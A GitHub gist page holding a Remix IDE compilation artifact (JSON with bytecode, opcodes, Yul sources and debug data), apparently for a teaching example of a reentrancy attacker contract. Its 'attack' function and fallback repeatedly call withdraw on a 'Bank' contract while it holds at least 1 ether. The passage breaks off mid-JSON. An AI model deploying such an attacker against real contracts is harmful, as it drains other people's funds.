Skip to content

Instantly share code, notes, and snippets.

@vyorkin
Created March 9, 2022 16:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vyorkin/981ca3c9b55be683fba54d44a2066a68 to your computer and use it in GitHub Desktop.
Save vyorkin/981ca3c9b55be683fba54d44a2066a68 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.12+commit.f00d7308.js&optimize=false&runs=200&gist=
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_132": {
"entryPoint": null,
"id": 132,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_contract$_Bank_$91_fromMemory": {
"entryPoint": 216,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_contract$_Bank_$91_fromMemory": {
"entryPoint": 237,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 157,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_contract$_Bank_$91": {
"entryPoint": 175,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 125,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 120,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_contract$_Bank_$91": {
"entryPoint": 193,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1378:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "379:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "389:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "404:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "411:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "400:3:1"
},
"nodeType": "YulFunctionCall",
"src": "400:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "389:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "361:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "371:7:1",
"type": ""
}
],
"src": "334:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "511:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "521:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "550:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "532:17:1"
},
"nodeType": "YulFunctionCall",
"src": "532:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "521:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "493:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "503:7:1",
"type": ""
}
],
"src": "466:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "624:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "634:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "663:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "645:17:1"
},
"nodeType": "YulFunctionCall",
"src": "645:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "634:7:1"
}
]
}
]
},
"name": "cleanup_t_contract$_Bank_$91",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "606:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "616:7:1",
"type": ""
}
],
"src": "568:107:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "735:90:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "803:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "812:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "815:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "805:6:1"
},
"nodeType": "YulFunctionCall",
"src": "805:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "805:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "758:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "794:5:1"
}
],
"functionName": {
"name": "cleanup_t_contract$_Bank_$91",
"nodeType": "YulIdentifier",
"src": "765:28:1"
},
"nodeType": "YulFunctionCall",
"src": "765:35:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "755:2:1"
},
"nodeType": "YulFunctionCall",
"src": "755:46:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "748:6:1"
},
"nodeType": "YulFunctionCall",
"src": "748:54:1"
},
"nodeType": "YulIf",
"src": "745:74:1"
}
]
},
"name": "validator_revert_t_contract$_Bank_$91",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "728:5:1",
"type": ""
}
],
"src": "681:144:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "905:91:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "915:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "930:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "924:5:1"
},
"nodeType": "YulFunctionCall",
"src": "924:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "915:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "984:5:1"
}
],
"functionName": {
"name": "validator_revert_t_contract$_Bank_$91",
"nodeType": "YulIdentifier",
"src": "946:37:1"
},
"nodeType": "YulFunctionCall",
"src": "946:44:1"
},
"nodeType": "YulExpressionStatement",
"src": "946:44:1"
}
]
},
"name": "abi_decode_t_contract$_Bank_$91_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "883:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "891:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "899:5:1",
"type": ""
}
],
"src": "831:165:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1090:285:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1136:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1138:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1138:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1138:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1111:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1120:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1107:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1107:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1132:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1103:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1103:32:1"
},
"nodeType": "YulIf",
"src": "1100:119:1"
},
{
"nodeType": "YulBlock",
"src": "1229:139:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1244:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1258:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1248:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1273:85:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1330:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1341:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1326:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1326:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1350:7:1"
}
],
"functionName": {
"name": "abi_decode_t_contract$_Bank_$91_fromMemory",
"nodeType": "YulIdentifier",
"src": "1283:42:1"
},
"nodeType": "YulFunctionCall",
"src": "1283:75:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1273:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_contract$_Bank_$91_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1060:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1071:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1083:6:1",
"type": ""
}
],
"src": "1002:373:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_Bank_$91(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_Bank_$91(value) {\n if iszero(eq(value, cleanup_t_contract$_Bank_$91(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_Bank_$91_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_contract$_Bank_$91(value)\n }\n\n function abi_decode_tuple_t_contract$_Bank_$91_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_Bank_$91_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50604051610458380380610458833981810160405281019061003291906100ed565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061011a565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100a88261007d565b9050919050565b60006100ba8261009d565b9050919050565b6100ca816100af565b81146100d557600080fd5b50565b6000815190506100e7816100c1565b92915050565b60006020828403121561010357610102610078565b5b6000610111848285016100d8565b91505092915050565b61032f806101296000396000f3fe60806040526004361061002d5760003560e01c806312065fe01461010a5780639e5faafc146101355761002e565b5b670de0b6b3a764000060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631106101085760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d670de0b6b3a76400006040518263ffffffff1660e01b81526004016100d591906102b4565b600060405180830381600087803b1580156100ef57600080fd5b505af1158015610103573d6000803e3d6000fd5b505050505b005b34801561011657600080fd5b5061011f61013f565b60405161012c91906102de565b60405180910390f35b61013d610147565b005b600047905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0670de0b6b3a76400006040518263ffffffff1660e01b81526004016000604051808303818588803b1580156101b757600080fd5b505af11580156101cb573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d670de0b6b3a76400006040518263ffffffff1660e01b815260040161023191906102b4565b600060405180830381600087803b15801561024b57600080fd5b505af115801561025f573d6000803e3d6000fd5b50505050565b6000819050919050565b6000819050919050565b6000819050919050565b600061029e61029961029484610265565b610279565b61026f565b9050919050565b6102ae81610283565b82525050565b60006020820190506102c960008301846102a5565b92915050565b6102d88161026f565b82525050565b60006020820190506102f360008301846102cf565b9291505056fea2646970667358221220dab5cb1b81073deb9b72ea3ca9aeaf2dc7b2218d15991d717a6366170adc1b6664736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x458 CODESIZE SUB DUP1 PUSH2 0x458 DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x32 SWAP2 SWAP1 PUSH2 0xED JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x11A JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xA8 DUP3 PUSH2 0x7D JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xBA DUP3 PUSH2 0x9D JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xCA DUP2 PUSH2 0xAF JUMP JUMPDEST DUP2 EQ PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0xE7 DUP2 PUSH2 0xC1 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x103 JUMPI PUSH2 0x102 PUSH2 0x78 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x111 DUP5 DUP3 DUP6 ADD PUSH2 0xD8 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x32F DUP1 PUSH2 0x129 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2D JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x12065FE0 EQ PUSH2 0x10A JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x135 JUMPI PUSH2 0x2E JUMP JUMPDEST JUMPDEST PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE LT PUSH2 0x108 JUMPI PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xD5 SWAP2 SWAP1 PUSH2 0x2B4 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xEF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x103 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x116 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x11F PUSH2 0x13F JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x12C SWAP2 SWAP1 PUSH2 0x2DE JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x13D PUSH2 0x147 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 SELFBALANCE SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xD0E30DB0 PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x1B7 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x1CB JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x231 SWAP2 SWAP1 PUSH2 0x2B4 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x24B JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x25F JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x29E PUSH2 0x299 PUSH2 0x294 DUP5 PUSH2 0x265 JUMP JUMPDEST PUSH2 0x279 JUMP JUMPDEST PUSH2 0x26F JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x2AE DUP2 PUSH2 0x283 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2C9 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x2A5 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x2D8 DUP2 PUSH2 0x26F JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2F3 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x2CF JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xDA 0xB5 0xCB SHL DUP2 SMOD RETURNDATASIZE 0xEB SWAP12 PUSH19 0xEA3CA9AEAF2DC7B2218D15991D717A6366170A 0xDC SHL PUSH7 0x64736F6C634300 ADDMOD 0xC STOP CALLER ",
"sourceMap": "998:452:0:-:0;;;1036:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1082:5;1070:4;;:18;;;;;;;;;;;;;;;;;;1036:59;998:452;;88:117:1;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:107::-;616:7;645:24;663:5;645:24;:::i;:::-;634:35;;568:107;;;:::o;681:144::-;765:35;794:5;765:35;:::i;:::-;758:5;755:46;745:74;;815:1;812;805:12;745:74;681:144;:::o;831:165::-;899:5;930:6;924:13;915:22;;946:44;984:5;946:44;:::i;:::-;831:165;;;;:::o;1002:373::-;1083:6;1132:2;1120:9;1111:7;1107:23;1103:32;1100:119;;;1138:79;;:::i;:::-;1100:119;1258:1;1283:75;1350:7;1341:6;1330:9;1326:22;1283:75;:::i;:::-;1273:85;;1229:139;1002:373;;;;:::o;998:452:0:-;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@_151": {
"entryPoint": null,
"id": 151,
"parameterSlots": 0,
"returnSlots": 0
},
"@attack_168": {
"entryPoint": 327,
"id": 168,
"parameterSlots": 0,
"returnSlots": 0
},
"@getBalance_180": {
"entryPoint": 319,
"id": 180,
"parameterSlots": 0,
"returnSlots": 1
},
"abi_encode_t_rational_1000000000000000000_by_1_to_t_uint256_fromStack": {
"entryPoint": 677,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 719,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_rational_1000000000000000000_by_1__to_t_uint256__fromStack_reversed": {
"entryPoint": 692,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 734,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_rational_1000000000000000000_by_1": {
"entryPoint": 613,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 623,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"convert_t_rational_1000000000000000000_by_1_to_t_uint256": {
"entryPoint": 643,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"identity": {
"entryPoint": 633,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1283:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "78:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "88:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "99:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "88:7:1"
}
]
}
]
},
"name": "cleanup_t_rational_1000000000000000000_by_1",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "60:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "70:7:1",
"type": ""
}
],
"src": "7:103:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "161:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "171:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "182:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "171:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "143:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "153:7:1",
"type": ""
}
],
"src": "116:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "231:28:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "241:12:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "248:5:1"
},
"variableNames": [
{
"name": "ret",
"nodeType": "YulIdentifier",
"src": "241:3:1"
}
]
}
]
},
"name": "identity",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "217:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "ret",
"nodeType": "YulTypedName",
"src": "227:3:1",
"type": ""
}
],
"src": "199:60:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "351:108:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "361:92:1",
"value": {
"arguments": [
{
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "445:5:1"
}
],
"functionName": {
"name": "cleanup_t_rational_1000000000000000000_by_1",
"nodeType": "YulIdentifier",
"src": "401:43:1"
},
"nodeType": "YulFunctionCall",
"src": "401:50:1"
}
],
"functionName": {
